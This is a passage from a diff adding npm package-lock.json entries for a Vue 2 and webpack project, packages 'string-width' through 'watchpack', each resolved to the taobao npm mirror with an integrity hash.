"sha1-ucczDHBChi9rFC3CdLvMWGbONUY=" + }, + "string-width": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/string-width/download/string-width-1.0.2.tgz?cache=0&sync_timestamp=1614522217971&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fstring-width%2Fdownload%2Fstring-width-1.0.2.tgz", + "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", + "dev": true, + "requires": { + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" + } + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npm.taobao.org/string_decoder/download/string_decoder-1.1.1.tgz", + "integrity": "sha1-nPFhG6YmhdcDCunkujQUnDrwP8g=", + "dev": true, + "requires": { + "safe-buffer": "~5.1.0" + } + }, + "strip-ansi": { + "version": "3.0.1", + "resolved": "https://registry.npm.taobao.org/strip-ansi/download/strip-ansi-3.0.1.tgz", + "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", + "dev": true, + "requires": { + "ansi-regex": "^2.0.0" + } + }, + "strip-bom": { + "version": "2.0.0", + "resolved": "https://registry.npm.taobao.org/strip-bom/download/strip-bom-2.0.0.tgz", + "integrity": "sha1-YhmoVhZSBJHzV4i9vxRHqZx+aw4=", + "dev": true, + "requires": { + "is-utf8": "^0.2.0" + } + }, + "strip-final-newline": { + "version": "2.0.0", + "resolved": "https://registry.npm.taobao.org/strip-final-newline/download/strip-final-newline-2.0.0.tgz", + "integrity": "sha1-ibhS+y/L6Tb29LMYevsKEsGrWK0=", + "dev": true + }, + "style-loader": { + "version": "2.0.0", + "resolved": "https://registry.npm.taobao.org/style-loader/download/style-loader-2.0.0.tgz", + "integrity": "sha1-lmlgL9RpB0DqrsE3eZoDrdu8OTw=", + "dev": true, + "requires": { + "loader-utils": "^2.0.0", + "schema-utils": "^3.0.0" + }, + "dependencies": { + "loader-utils": { + "version": "2.0.0", + "resolved": "https://registry.npm.taobao.org/loader-utils/download/loader-utils-2.0.0.tgz", + "integrity": "sha1-5MrOW4FtQloWa18JfhDNErNgZLA=", + "dev": true, + "requires": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + } + }, + "schema-utils": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/schema-utils/download/schema-utils-3.0.0.tgz", + "integrity": "sha1-Z1AvaqK2ai1AMrQnmilEl4oJE+8=", + "dev": true, + "requires": { + "@types/json-schema": "^7.0.6", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + } + } + } + }, + "supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npm.taobao.org/supports-color/download/supports-color-5.5.0.tgz?cache=0&sync_timestamp=1611394043517&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fsupports-color%2Fdownload%2Fsupports-color-5.5.0.tgz", + "integrity": "sha1-4uaaRKyHcveKHsCzW2id9lMO/I8=", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + }, + "sver-compat": { + "version": "1.5.0", + "resolved": "https://registry.npm.taobao.org/sver-compat/download/sver-compat-1.5.0.tgz", + "integrity": "sha1-PPh9/rTQe0o/FIJ7wYaz/QxkXNg=", + "dev": true, + "requires": { + "es6-iterator": "^2.0.1", + "es6-symbol": "^3.1.1" + } + }, + "tapable": { + "version": "1.1.3", + "resolved": "https://registry.npm.taobao.org/tapable/download/tapable-1.1.3.tgz?cache=0&sync_timestamp=1607088855476&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ftapable%2Fdownload%2Ftapable-1.1.3.tgz", + "integrity": "sha1-ofzMBrWNth/XpF2i2kT186Pme6I=", + "dev": true + }, + "terser": { + "version": "4.8.0", + "resolved": "https://registry.npm.taobao.org/terser/download/terser-4.8.0.tgz", + "integrity": "sha1-YwVjQ9fHC7KfOvZlhlpG/gOg3xc=", + "dev": true, + "requires": { + "commander": "^2.20.0", + "source-map": "~0.6.1", + "source-map-support": "~0.5.12" + }, + "dependencies": { + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npm.taobao.org/source-map/download/source-map-0.6.1.tgz", + "integrity": "sha1-dHIq8y6WFOnCh6jQu95IteLxomM=", + "dev": true + } + } + }, + "terser-webpack-plugin": { + "version": "1.4.5", + "resolved": "https://registry.npm.taobao.org/terser-webpack-plugin/download/terser-webpack-plugin-1.4.5.tgz", + "integrity": "sha1-oheu+uozDnNP+sthIOwfoxLWBAs=", + "dev": true, + "requires": { + "cacache": "^12.0.2", + "find-cache-dir": "^2.1.0", + "is-wsl": "^1.1.0", + "schema-utils": "^1.0.0", + "serialize-javascript": "^4.0.0", + "source-map": "^0.6.1", + "terser": "^4.1.2", + "webpack-sources": "^1.4.0", + "worker-farm": "^1.7.0" + }, + "dependencies": { + "find-cache-dir": { + "version": "2.1.0", + "resolved": "https://registry.npm.taobao.org/find-cache-dir/download/find-cache-dir-2.1.0.tgz", + "integrity": "sha1-jQ+UzRP+Q8bHwmGg2GEVypGMBfc=", + "dev": true, + "requires": { + "commondir": "^1.0.1", + "make-dir": "^2.0.0", + "pkg-dir": "^3.0.0" + } + }, + "find-up": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/find-up/download/find-up-3.0.0.tgz?cache=0&sync_timestamp=1597169795121&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ffind-up%2Fdownload%2Ffind-up-3.0.0.tgz", + "integrity": "sha1-SRafHXmTQwZG2mHsxa41XCHJe3M=", + "dev": true, + "requires": { + "locate-path": "^3.0.0" + } + }, + "locate-path": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/locate-path/download/locate-path-3.0.0.tgz", + "integrity": "sha1-2+w7OrdZdYBxtY/ln8QYca8hQA4=", + "dev": true, + "requires": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + } + }, + "make-dir": { + "version": "2.1.0", + "resolved": "https://registry.npm.taobao.org/make-dir/download/make-dir-2.1.0.tgz", + "integrity": "sha1-XwMQ4YuL6JjMBwCSlaMK5B6R5vU=", + "dev": true, + "requires": { + "pify": "^4.0.1", + "semver": "^5.6.0" + } + }, + "p-locate": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/p-locate/download/p-locate-3.0.0.tgz?cache=0&sync_timestamp=1597081369770&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fp-locate%2Fdownload%2Fp-locate-3.0.0.tgz", + "integrity": "sha1-Mi1poFwCZLJZl9n0DNiokasAZKQ=", + "dev": true, + "requires": { + "p-limit": "^2.0.0" + } + }, + "path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/path-exists/download/path-exists-3.0.0.tgz", + "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", + "dev": true + }, + "pify": { + "version": "4.0.1", + "resolved": "https://registry.npm.taobao.org/pify/download/pify-4.0.1.tgz", + "integrity": "sha1-SyzSXFDVmHNcUCkiJP2MbfQeMjE=", + "dev": true + }, + "pkg-dir": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/pkg-dir/download/pkg-dir-3.0.0.tgz?cache=0&sync_timestamp=1602859010405&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpkg-dir%2Fdownload%2Fpkg-dir-3.0.0.tgz", + "integrity": "sha1-J0kCDyOe2ZCIGx9xIQ1R62UjvqM=", + "dev": true, + "requires": { + "find-up": "^3.0.0" + } + }, + "schema-utils": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/schema-utils/download/schema-utils-1.0.0.tgz", + "integrity": "sha1-C3mpMgTXtgDUsoUNH2bCo0lRx3A=", + "dev": true, + "requires": { + "ajv": "^6.1.0", + "ajv-errors": "^1.0.0", + "ajv-keywords": "^3.1.0" + } + }, + "semver": { + "version": "5.7.1", + "resolved": "https://registry.npm.taobao.org/semver/download/semver-5.7.1.tgz?cache=0&sync_timestamp=1606853731020&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fsemver%2Fdownload%2Fsemver-5.7.1.tgz", + "integrity": "sha1-qVT5Ma66UI0we78Gnv8MAclhFvc=", + "dev": true + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npm.taobao.org/source-map/download/source-map-0.6.1.tgz", + "integrity": "sha1-dHIq8y6WFOnCh6jQu95IteLxomM=", + "dev": true + } + } + }, + "throttle-debounce": { + "version": "1.1.0", + "resolved": "https://registry.npm.taobao.org/throttle-debounce/download/throttle-debounce-1.1.0.tgz", + "integrity": "sha1-UYU9o3vmihVctugns1FKPEIuic0=" + }, + "through2": { + "version": "2.0.5", + "resolved": "https://registry.npm.taobao.org/through2/download/through2-2.0.5.tgz?cache=0&sync_timestamp=1593478643560&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fthrough2%2Fdownload%2Fthrough2-2.0.5.tgz", + "integrity": "sha1-AcHjnrMdB8t9A6lqcIIyYLIxMs0=", + "dev": true, + "requires": { + "readable-stream": "~2.3.6", + "xtend": "~4.0.1" + } + }, + "through2-filter": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/through2-filter/download/through2-filter-3.0.0.tgz", + "integrity": "sha1-cA54bfI2fCyIzYqlvkz5weeDElQ=", + "dev": true, + "requires": { + "through2": "~2.0.0", + "xtend": "~4.0.0" + } + }, + "time-stamp": { + "version": "1.1.0", + "resolved": "https://registry.npm.taobao.org/time-stamp/download/time-stamp-1.1.0.tgz", + "integrity": "sha1-dkpaEa9QVhkhsTPztE5hhofg9cM=", + "dev": true + }, + "timers-browserify": { + "version": "2.0.12", + "resolved": "https://registry.npm.taobao.org/timers-browserify/download/timers-browserify-2.0.12.tgz?cache=0&sync_timestamp=1603793688024&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ftimers-browserify%2Fdownload%2Ftimers-browserify-2.0.12.tgz", + "integrity": "sha1-RKRcEfv0B/NPl7zNFXfGUjYbAO4=", + "dev": true, + "requires": { + "setimmediate": "^1.0.4" + } + }, + "tiny-emitter": { + "version": "2.1.0", + "resolved": "https://registry.npm.taobao.org/tiny-emitter/download/tiny-emitter-2.1.0.tgz", + "integrity": "sha1-HRpW7fxRxD6GPLtTgqcjMONVVCM=" + }, + "to-absolute-glob": { + "version": "2.0.2", + "resolved": "https://registry.npm.taobao.org/to-absolute-glob/download/to-absolute-glob-2.0.2.tgz", + "integrity": "sha1-GGX0PZ50sIItufFFt4z/fQ98hJs=", + "dev": true, + "requires": { + "is-absolute": "^1.0.0", + "is-negated-glob": "^1.0.0" + } + }, + "to-arraybuffer": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/to-arraybuffer/download/to-arraybuffer-1.0.1.tgz", + "integrity": "sha1-fSKbH8xjfkZsoIEYCDanqr/4P0M=", + "dev": true + }, + "to-fast-properties": { + "version": "2.0.0", + "resolved": "https://registry.npm.taobao.org/to-fast-properties/download/to-fast-properties-2.0.0.tgz", + "integrity": "sha1-3F5pjL0HkmW8c+A3doGk5Og/YW4=", + "dev": true + }, + "to-object-path": { + "version": "0.3.0", + "resolved": "https://registry.npm.taobao.org/to-object-path/download/to-object-path-0.3.0.tgz", + "integrity": "sha1-KXWIt7Dn4KwI4E5nL4XB9JmeF68=", + "dev": true, + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npm.taobao.org/kind-of/download/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "to-regex": { + "version": "3.0.2", + "resolved": "https://registry.npm.taobao.org/to-regex/download/to-regex-3.0.2.tgz", + "integrity": "sha1-E8/dmzNlUvMLUfM6iuG0Knp1mc4=", + "dev": true, + "requires": { + "define-property": "^2.0.2", + "extend-shallow": "^3.0.2", + "regex-not": "^1.0.2", + "safe-regex": "^1.1.0" + } + }, + "to-regex-range": { + "version": "2.1.1", + "resolved": "https://registry.npm.taobao.org/to-regex-range/download/to-regex-range-2.1.1.tgz", + "integrity": "sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=", + "dev": true, + "requires": { + "is-number": "^3.0.0", + "repeat-string": "^1.6.1" + } + }, + "to-through": { + "version": "2.0.0", + "resolved": "https://registry.npm.taobao.org/to-through/download/to-through-2.0.0.tgz", + "integrity": "sha1-/JKtq6ByZHvAtn1rA2ZKoZUJOvY=", + "dev": true, + "requires": { + "through2": "^2.0.3" + } + }, + "tslib": { + "version": "1.14.1", + "resolved": "https://registry.npm.taobao.org/tslib/download/tslib-1.14.1.tgz?cache=0&sync_timestamp=1609887785854&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Ftslib%2Fdownload%2Ftslib-1.14.1.tgz", + "integrity": "sha1-zy04vcNKE0vK8QkcQfZhni9nLQA=", + "dev": true + }, + "tty-browserify": { + "version": "0.0.0", + "resolved": "https://registry.npm.taobao.org/tty-browserify/download/tty-browserify-0.0.0.tgz", + "integrity": "sha1-oVe6QC2iTpv5V/mqadUk7tQpAaY=", + "dev": true + }, + "type": { + "version": "1.2.0", + "resolved": "https://registry.npm.taobao.org/type/download/type-1.2.0.tgz", + "integrity": "sha1-hI3XaY2vo+VKbEeedZxLw/GIR6A=", + "dev": true + }, + "typedarray": { + "version": "0.0.6", + "resolved": "https://registry.npm.taobao.org/typedarray/download/typedarray-0.0.6.tgz", + "integrity": "sha1-hnrHTjhkGHsdPUfZlqeOxciDB3c=", + "dev": true + }, + "ua-parser-js": { + "version": "0.7.24", + "resolved": "https://registry.npm.taobao.org/ua-parser-js/download/ua-parser-js-0.7.24.tgz", + "integrity": "sha1-jT7OpG7U8fHWPsJfF9hWgQXcAnw=" + }, + "uglify-js": { + "version": "3.13.0", + "resolved": "https://registry.npm.taobao.org/uglify-js/download/uglify-js-3.13.0.tgz", + "integrity": "sha1-Zu1p9yQfM/E1MdPVHVvOvwDff2k=", + "dev": true + }, + "uglify-to-browserify": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/uglify-to-browserify/download/uglify-to-browserify-1.0.2.tgz", + "integrity": "sha1-bgkk1r2mta/jSeOabWMoUKD4grc=", + "dev": true, + "optional": true + }, + "unc-path-regex": { + "version": "0.1.2", + "resolved": "https://registry.npm.taobao.org/unc-path-regex/download/unc-path-regex-0.1.2.tgz", + "integrity": "sha1-5z3T17DXxe2G+6xrCufYxqadUPo=", + "dev": true + }, + "undertaker": { + "version": "1.3.0", + "resolved": "https://registry.npm.taobao.org/undertaker/download/undertaker-1.3.0.tgz", + "integrity": "sha1-NjpuVB8nlU1Xkdb6PB0yFmb4bRg=", + "dev": true, + "requires": { + "arr-flatten": "^1.0.1", + "arr-map": "^2.0.0", + "bach": "^1.0.0", + "collection-map": "^1.0.0", + "es6-weak-map": "^2.0.1", + "fast-levenshtein": "^1.0.0", + "last-run": "^1.1.0", + "object.defaults": "^1.0.0", + "object.reduce": "^1.0.0", + "undertaker-registry": "^1.0.0" + } + }, + "undertaker-registry": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/undertaker-registry/download/undertaker-registry-1.0.1.tgz", + "integrity": "sha1-XkvaMI5KiirlhPm5pDWaSZglzFA=", + "dev": true + }, + "unicode-canonical-property-names-ecmascript": { + "version": "1.0.4", + "resolved": "https://registry.npm.taobao.org/unicode-canonical-property-names-ecmascript/download/unicode-canonical-property-names-ecmascript-1.0.4.tgz", + "integrity": "sha1-JhmADEyCWADv3YNDr33Zkzy+KBg=", + "dev": true + }, + "unicode-match-property-ecmascript": { + "version": "1.0.4", + "resolved": "https://registry.npm.taobao.org/unicode-match-property-ecmascript/download/unicode-match-property-ecmascript-1.0.4.tgz", + "integrity": "sha1-jtKjJWmWG86SJ9Cc0/+7j+1fAgw=", + "dev": true, + "requires": { + "unicode-canonical-property-names-ecmascript": "^1.0.4", + "unicode-property-aliases-ecmascript": "^1.0.4" + } + }, + "unicode-match-property-value-ecmascript": { + "version": "1.2.0", + "resolved": "https://registry.npm.taobao.org/unicode-match-property-value-ecmascript/download/unicode-match-property-value-ecmascript-1.2.0.tgz", + "integrity": "sha1-DZH2AO7rMJaqlisdb8iIduZOpTE=", + "dev": true + }, + "unicode-property-aliases-ecmascript": { + "version": "1.1.0", + "resolved": "https://registry.npm.taobao.org/unicode-property-aliases-ecmascript/download/unicode-property-aliases-ecmascript-1.1.0.tgz", + "integrity": "sha1-3Vepn2IHvt/0Yoq++5TFDblByPQ=", + "dev": true + }, + "union-value": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/union-value/download/union-value-1.0.1.tgz", + "integrity": "sha1-C2/nuDWuzaYcbqTU8CwUIh4QmEc=", + "dev": true, + "requires": { + "arr-union": "^3.1.0", + "get-value": "^2.0.6", + "is-extendable": "^0.1.1", + "set-value": "^2.0.1" + } + }, + "uniq": { + "version": "1.0.1", + "resolved": "https://registry.npm.taobao.org/uniq/download/uniq-1.0.1.tgz", + "integrity": "sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8=", + "dev": true + }, + "unique-filename": { + "version": "1.1.1", + "resolved": "https://registry.npm.taobao.org/unique-filename/download/unique-filename-1.1.1.tgz", + "integrity": "sha1-HWl2k2mtoFgxA6HmrodoG1ZXMjA=", + "dev": true, + "requires": { + "unique-slug": "^2.0.0" + } + }, + "unique-slug": { + "version": "2.0.2", + "resolved": "https://registry.npm.taobao.org/unique-slug/download/unique-slug-2.0.2.tgz", + "integrity": "sha1-uqvOkQg/xk6UWw861hPiZPfNTmw=", + "dev": true, + "requires": { + "imurmurhash": "^0.1.4" + } + }, + "unique-stream": { + "version": "2.3.1", + "resolved": "https://registry.npm.taobao.org/unique-stream/download/unique-stream-2.3.1.tgz", + "integrity": "sha1-xl0RDppK35psWUiygFPZqNBMvqw=", + "dev": true, + "requires": { + "json-stable-stringify-without-jsonify": "^1.0.1", + "through2-filter": "^3.0.0" + } + }, + "unset-value": { + "version": "1.0.0", + "resolved": "https://registry.npm.taobao.org/unset-value/download/unset-value-1.0.0.tgz", + "integrity": "sha1-g3aHP30jNRef+x5vw6jtDfyKtVk=", + "dev": true, + "requires": { + "has-value": "^0.3.1", + "isobject": "^3.0.0" + }, + "dependencies": { + "has-value": { + "version": "0.3.1", + "resolved": "https://registry.npm.taobao.org/has-value/download/has-value-0.3.1.tgz", + "integrity": "sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=", + "dev": true, + "requires": { + "get-value": "^2.0.3", + "has-values": "^0.1.4", + "isobject": "^2.0.0" + }, + "dependencies": { + "isobject": { + "version": "2.1.0", + "resolved": "https://registry.npm.taobao.org/isobject/download/isobject-2.1.0.tgz", + "integrity": "sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=", + "dev": true, + "requires": { + "isarray": "1.0.0" + } + } + } + }, + "has-values": { + "version": "0.1.4", + "resolved": "https://registry.npm.taobao.org/has-values/download/has-values-0.1.4.tgz", + "integrity": "sha1-bWHeldkd/Km5oCCJrThL/49it3E=", + "dev": true + } + } + }, + "upath": { + "version": "1.2.0", + "resolved": "https://registry.npm.taobao.org/upath/download/upath-1.2.0.tgz?cache=0&sync_timestamp=1604768637331&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fupath%2Fdownload%2Fupath-1.2.0.tgz", + "integrity": "sha1-j2bbzVWog6za5ECK+LA1pQRMGJQ=", + "dev": true + }, + "uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npm.taobao.org/uri-js/download/uri-js-4.4.1.tgz?cache=0&sync_timestamp=1610237586670&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Furi-js%2Fdownload%2Furi-js-4.4.1.tgz", + "integrity": "sha1-mxpSWVIlhZ5V9mnZKPiMbFfyp34=", + "dev": true, + "requires": { + "punycode": "^2.1.0" + } + }, + "urix": { + "version": "0.1.0", + "resolved": "https://registry.npm.taobao.org/urix/download/urix-0.1.0.tgz", + "integrity": "sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI=", + "dev": true + }, + "url": { + "version": "0.11.0", + "resolved": "https://registry.npm.taobao.org/url/download/url-0.11.0.tgz", + "integrity": "sha1-ODjpfPxgUh63PFJajlW/3Z4uKPE=", + "dev": true, + "requires": { + "punycode": "1.3.2", + "querystring": "0.2.0" + }, + "dependencies": { + "punycode": { + "version": "1.3.2", + "resolved": "https://registry.npm.taobao.org/punycode/download/punycode-1.3.2.tgz", + "integrity": "sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0=", + "dev": true + } + } + }, + "url-loader": { + "version": "4.1.1", + "resolved": "https://registry.npm.taobao.org/url-loader/download/url-loader-4.1.1.tgz?cache=0&sync_timestamp=1602252594253&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Furl-loader%2Fdownload%2Furl-loader-4.1.1.tgz", + "integrity": "sha1-KFBekFyuFYzwfJLKYi1/I35wpOI=", + "dev": true, + "requires": { + "loader-utils": "^2.0.0", + "mime-types": "^2.1.27", + "schema-utils": "^3.0.0" + }, + "dependencies": { + "loader-utils": { + "version": "2.0.0", + "resolved": "https://registry.npm.taobao.org/loader-utils/download/loader-utils-2.0.0.tgz", + "integrity": "sha1-5MrOW4FtQloWa18JfhDNErNgZLA=", + "dev": true, + "requires": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + } + }, + "schema-utils": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/schema-utils/download/schema-utils-3.0.0.tgz", + "integrity": "sha1-Z1AvaqK2ai1AMrQnmilEl4oJE+8=", + "dev": true, + "requires": { + "@types/json-schema": "^7.0.6", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + } + } + } + }, + "use": { + "version": "3.1.1", + "resolved": "https://registry.npm.taobao.org/use/download/use-3.1.1.tgz", + "integrity": "sha1-1QyMrHmhn7wg8pEfVuuXP04QBw8=", + "dev": true + }, + "util": { + "version": "0.11.1", + "resolved": "https://registry.npm.taobao.org/util/download/util-0.11.1.tgz", + "integrity": "sha1-MjZzNyDsZLsn9uJvQhqqLhtYjWE=", + "dev": true, + "requires": { + "inherits": "2.0.3" + }, + "dependencies": { + "inherits": { + "version": "2.0.3", + "resolved": "https://registry.npm.taobao.org/inherits/download/inherits-2.0.3.tgz", + "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=", + "dev": true + } + } + }, + "util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npm.taobao.org/util-deprecate/download/util-deprecate-1.0.2.tgz", + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=", + "dev": true + }, + "uuid": { + "version": "8.3.2", + "resolved": "https://registry.npm.taobao.org/uuid/download/uuid-8.3.2.tgz?cache=0&sync_timestamp=1607460052228&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fuuid%2Fdownload%2Fuuid-8.3.2.tgz", + "integrity": "sha1-gNW1ztJxu5r2xEXyGhoExgbO++I=", + "dev": true + }, + "v8-compile-cache": { + "version": "2.3.0", + "resolved": "https://registry.npm.taobao.org/v8-compile-cache/download/v8-compile-cache-2.3.0.tgz", + "integrity": "sha1-LeGWGMZtwkfc+2+ZM4A12CRaLO4=", + "dev": true + }, + "v8flags": { + "version": "3.2.0", + "resolved": "https://registry.npm.taobao.org/v8flags/download/v8flags-3.2.0.tgz", + "integrity": "sha1-skPjtN/XMfp3TnSSEoEJoP5m1lY=", + "dev": true, + "requires": { + "homedir-polyfill": "^1.0.1" + } + }, + "validate-npm-package-license": { + "version": "3.0.4", + "resolved": "https://registry.npm.taobao.org/validate-npm-package-license/download/validate-npm-package-license-3.0.4.tgz", + "integrity": "sha1-/JH2uce6FchX9MssXe/uw51PQQo=", + "dev": true, + "requires": { + "spdx-correct": "^3.0.0", + "spdx-expression-parse": "^3.0.0" + } + }, + "value-or-function": { + "version": "3.0.0", + "resolved": "https://registry.npm.taobao.org/value-or-function/download/value-or-function-3.0.0.tgz", + "integrity": "sha1-HCQ6ULWVwb5Up1S/7OhWO5/42BM=", + "dev": true + }, + "vinyl": { + "version": "2.2.1", + "resolved": "https://registry.npm.taobao.org/vinyl/download/vinyl-2.2.1.tgz", + "integrity": "sha1-I8+4u6tezjgDqiwKHrKK98u6GXQ=", + "dev": true, + "requires": { + "clone": "^2.1.1", + "clone-buffer": "^1.0.0", + "clone-stats": "^1.0.0", + "cloneable-readable": "^1.0.0", + "remove-trailing-separator": "^1.0.1", + "replace-ext": "^1.0.0" + } + }, + "vinyl-fs": { + "version": "3.0.3", + "resolved": "https://registry.npm.taobao.org/vinyl-fs/download/vinyl-fs-3.0.3.tgz", + "integrity": "sha1-yFhJQF9nQo/qu71cXb3WT0fTG8c=", + "dev": true, + "requires": { + "fs-mkdirp-stream": "^1.0.0", + "glob-stream": "^6.1.0", + "graceful-fs": "^4.0.0", + "is-valid-glob": "^1.0.0", + "lazystream": "^1.0.0", + "lead": "^1.0.0", + "object.assign": "^4.0.4", + "pumpify": "^1.3.5", + "readable-stream": "^2.3.3", + "remove-bom-buffer": "^3.0.0", + "remove-bom-stream": "^1.2.0", + "resolve-options": "^1.1.0", + "through2": "^2.0.0", + "to-through": "^2.0.0", + "value-or-function": "^3.0.0", + "vinyl": "^2.0.0", + "vinyl-sourcemap": "^1.1.0" + } + }, + "vinyl-sourcemap": { + "version": "1.1.0", + "resolved": "https://registry.npm.taobao.org/vinyl-sourcemap/download/vinyl-sourcemap-1.1.0.tgz", + "integrity": "sha1-kqgAWTo4cDqM2xHYswCtS+Y7PhY=", + "dev": true, + "requires": { + "append-buffer": "^1.0.2", + "convert-source-map": "^1.5.0", + "graceful-fs": "^4.1.6", + "normalize-path": "^2.1.1", + "now-and-later": "^2.0.0", + "remove-bom-buffer": "^3.0.0", + "vinyl": "^2.0.0" + }, + "dependencies": { + "normalize-path": { + "version": "2.1.1", + "resolved": "https://registry.npm.taobao.org/normalize-path/download/normalize-path-2.1.1.tgz", + "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=", + "dev": true, + "requires": { + "remove-trailing-separator": "^1.0.1" + } + } + } + }, + "vinyl-sourcemaps-apply": { + "version": "0.2.1", + "resolved": "https://registry.npm.taobao.org/vinyl-sourcemaps-apply/download/vinyl-sourcemaps-apply-0.2.1.tgz", + "integrity": "sha1-q2VJ1h0XLCsbh75cUI0jnI74dwU=", + "dev": true, + "requires": { + "source-map": "^0.5.1" + } + }, + "vm-browserify": { + "version": "1.1.2", + "resolved": "https://registry.npm.taobao.org/vm-browserify/download/vm-browserify-1.1.2.tgz", + "integrity": "sha1-eGQcSIuObKkadfUR56OzKobl3aA=", + "dev": true + }, + "vue": { + "version": "2.6.12", + "resolved": "https://registry.npm.taobao.org/vue/download/vue-2.6.12.tgz?cache=0&sync_timestamp=1614616238681&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fvue%2Fdownload%2Fvue-2.6.12.tgz", + "integrity": "sha1-9evU+mvShpQD4pqJau1JBEVskSM=" + }, + "vue-clipboard2": { + "version": "0.3.1", + "resolved": "https://registry.npm.taobao.org/vue-clipboard2/download/vue-clipboard2-0.3.1.tgz", + "integrity": "sha1-blUft704SImyiw2jsSKJ7WvKSJQ=", + "requires": { + "clipboard": "^2.0.0" + } + }, + "vue-hot-reload-api": { + "version": "2.3.4", + "resolved": "https://registry.npm.taobao.org/vue-hot-reload-api/download/vue-hot-reload-api-2.3.4.tgz", + "integrity": "sha1-UylVzB6yCKPZkLOp+acFdGV+CPI=", + "dev": true + }, + "vue-loader": { + "version": "15.9.6", + "resolved": "https://registry.npm.taobao.org/vue-loader/download/vue-loader-15.9.6.tgz", + "integrity": "sha1-9Lua4gw6g3CvPs8JuBJtOP/ba4s=", + "dev": true, + "requires": { + "@vue/component-compiler-utils": "^3.1.0", + "hash-sum": "^1.0.2", + "loader-utils": "^1.1.0", + "vue-hot-reload-api": "^2.3.0", + "vue-style-loader": "^4.1.0" + } + }, + "vue-style-loader": { + "version": "4.1.3", + "resolved": "https://registry.npm.taobao.org/vue-style-loader/download/vue-style-loader-4.1.3.tgz?cache=0&sync_timestamp=1614758693102&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fvue-style-loader%2Fdownload%2Fvue-style-loader-4.1.3.tgz", + "integrity": "sha1-bVWGOlH6dXqyTonZNxRlByqnvDU=", + "dev": true, + "requires": { + "hash-sum": "^1.0.2", + "loader-utils": "^1.0.2" + } + }, + "vue-template-compiler": { + "version": "2.6.12", + "resolved": "https://registry.npm.taobao.org/vue-template-compiler/download/vue-template-compiler-2.6.12.tgz?cache=0&sync_timestamp=1597927453960&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fvue-template-compiler%2Fdownload%2Fvue-template-compiler-2.6.12.tgz", + "integrity": "sha1-lH7XGWdEyKUoXr4SM/6WBDf8xX4=", + "dev": true, + "requires": { + "de-indent": "^1.0.2", + "he": "^1.1.0" + } + }, + "vue-template-es2015-compiler": { + "version": "1.9.1", + "resolved": "https://registry.npm.taobao.org/vue-template-es2015-compiler/download/vue-template-es2015-compiler-1.9.1.tgz", + "integrity": "sha1-HuO8mhbsv1EYvjNLsV+cRvgvWCU=", + "dev": true + }, + "watchpack": { + "version": "1.7.5", + "resolved": "https://registry.npm.taobao.org/watchpack/download/watchpack-1.7.5.tgz", + "integrity": "sha1-EmfmxV4Lm1vkTCAjrtVDeiwmxFM=", + "dev": true, + "requires": { + "chokidar": "^3.4.1", + "graceful-fs": "^4.1.2", + "neo-async": "^2.5.0", + "watchpack-chokidar2": "^2.0.1" + }, + "dependencies": { + "anymatch": { + "version": "3.1.1", + "resolved": 